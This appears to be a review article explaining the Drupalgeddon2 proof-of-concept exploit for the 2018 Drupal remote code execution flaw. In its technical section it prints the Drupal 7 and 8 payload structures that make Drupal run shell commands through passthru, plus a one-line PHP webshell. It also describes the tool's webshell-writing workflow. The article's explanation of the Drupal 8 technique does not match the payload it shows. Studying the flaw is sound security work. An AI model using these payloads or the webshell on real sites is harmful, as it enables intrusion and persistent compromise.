Drupalgeddon2: Dissecting the RCE Exploit That Threatened Millions of CMS Installations
Hook
In March 2018, a single vulnerability gave attackers complete control over roughly one million Drupal websites without requiring any credentials—and within weeks, automated bots were mass-exploiting unpatched sites to mine cryptocurrency.
Context
Drupal powers some of the world's most critical websites, from government portals to major universities and Fortune 500 companies. When the Drupal Security Team issued SA-CORE-2018-002 on March 28, 2018, they used the rarely-seen "highly critical" rating—their most severe classification. The vulnerability, dubbed Drupalgeddon2, allowed unauthenticated remote code execution through a flaw so fundamental that it affected both Drupal 7.x and 8.x branches, spanning years of releases.
The dreadlocked/Drupalgeddon2 repository emerged shortly after the patch release as a proof-of-concept demonstrating exactly how the exploit worked. Unlike vague security advisories, this Ruby-based tool showed the practical mechanics: attackers could inject malicious PHP code through Drupal's form rendering system, bypass all authentication, and achieve persistent access through webshell deployment. The exploit's elegance was terrifying—it required no brute-forcing, no social engineering, just a few carefully crafted HTTP requests to publicly accessible endpoints like user/password or user/register. For security researchers, this tool became essential for understanding the attack surface; for penetration testers, it provided a turnkey method to assess client Drupal installations; for defenders, it revealed exactly what they were defending against.
Technical Insight
The genius of Drupalgeddon2 lies in exploiting Drupal's render array system, a core architectural component designed to separate data from presentation. Drupal developers use associative arrays with special keys (prefixed with #) to define how content should be rendered. The vulnerability emerged because Drupal insufficiently validated these special keys in user-supplied data, allowing attackers to inject executable callbacks.
In Drupal 7.x, the exploit targets the #post_render property, which specifies functions to call after rendering. Here's the core payload structure from the repository:
poison_7 = {
'form_id' => 'user_pass',
'name' => {
'#post_render' => ['passthru'],
'#type' => 'markup',
'#markup' => command
},
'mail' => {
'#post_render' => ['passthru'],
'#type' => 'markup',
'#markup' => command
}
}
This payload abuses the password reset form at /user/password. By setting #post_render to passthru (a PHP function that executes shell commands) and #markup to the attacker's command, Drupal's rendering engine unwittingly executes arbitrary system commands. The form submission doesn't even need to be valid—the rendering happens during form processing, before validation occurs.
Drupal 8.x required a different approach because of architectural changes. The exploit pivots to #lazy_builder, a render array property designed for performance optimization through lazy loading:
poison_8 = {
'form_id' => 'user_register_form',
'_drupal_ajax' => '1',
'mail[#post_render][]' => 'passthru',
'mail[#type]' => 'markup',
'mail[#markup]' => command
}
The exploit's sophistication extends beyond the payload itself. The tool implements a multi-stage attack workflow: first, it fingerprints the Drupal version by fetching CHANGELOG.txt and parsing version strings. Then it tests exploitability by attempting to execute a simple command like echo. If successful, it escalates to webshell deployment, attempting to write a PHP backdoor to multiple locations in priority order—the web root, sites/default/, and sites/default/files/.
The webshell itself is deliberately minimal to avoid detection:
<?php if(isset($_REQUEST['c'])){system($_REQUEST['c']);} ?>
This 57-character backdoor accepts commands via the c parameter and executes them using PHP's system() function. If file writing fails due to permissions, the exploit gracefully degrades to "file-less" mode, executing commands directly through the render array vulnerability on each request—less convenient but equally dangerous.
The tool's interactive shell implementation demonstrates thoughtful user experience design for penetration testing. It maintains state across requests, handles command output formatting, and provides visual feedback through color-coded terminal output. The HTTP client configuration shows security research best practices: it follows redirects, handles SSL without strict verification (necessary for testing environments with self-signed certificates), and implements custom timeouts to accommodate slow targets.
What makes this particularly educational is seeing how the exploit handles edge cases. It tests for Drupal's "maintenance mode" by checking HTTP response codes, attempts authentication bypass for sites requiring login to access registration forms, and includes retry logic for unreliable network conditions. These aren't theoretical concerns—they're lessons learned from real-world penetration testing.
Gotcha
The most critical limitation is also the most obvious: this exploit only works against unpatched Drupal installations from 2018 or earlier. Any site running Drupal 7.58+, 8.3.9+, 8.4.6+, or 8.5.1+ is immune. In 2024, finding vulnerable instances in production is rare—most were either patched immediately or compromised and subsequently hardened. This makes the tool primarily valuable for historical understanding and testing deliberately vulnerable lab environments.
Even against vulnerable targets, success isn't guaranteed. Modern web application firewalls recognize Drupalgeddon2 attack patterns, particularly the suspicious render array keys in POST data. Intrusion detection systems flag the characteristic HTTP request signatures. More fundamentally, restrictive filesystem permissions can prevent webshell writing. Many hosting environments run PHP-FPM with users that can't write to web-accessible directories, forcing the exploit into file-less mode which is noisier and less persistent. The tool also struggles with Drupal installations behind reverse proxies or CDNs that filter or normalize HTTP headers, potentially breaking the exploit chain. And naturally, using this against any system without explicit written authorization isn't just unethical—it's a criminal offense in virtually every jurisdiction worldwide.
Verdict
Use if: You're a penetration tester documenting attack surface for clients running legacy Drupal, a security researcher building exploit detection signatures, an educator teaching web application security through hands-on vulnerability analysis, or a defender creating realistic threat scenarios for blue team training. This tool excels as a historical artifact showing how CMS frameworks can catastrophically fail when user input reaches internal rendering systems. Skip if: You're looking for a general Drupal vulnerability scanner (use Droopescan instead), testing modern Drupal deployments (they're patched), seeking automated reconnaissance tools (this is single-purpose exploitation), or lacking explicit authorization for testing target systems. The ethical and legal boundaries are absolute—this is exclusively for authorized security assessment, not production reconnaissance. For learning, spin up an intentionally vulnerable Drupal instance in a lab environment rather than scanning the internet.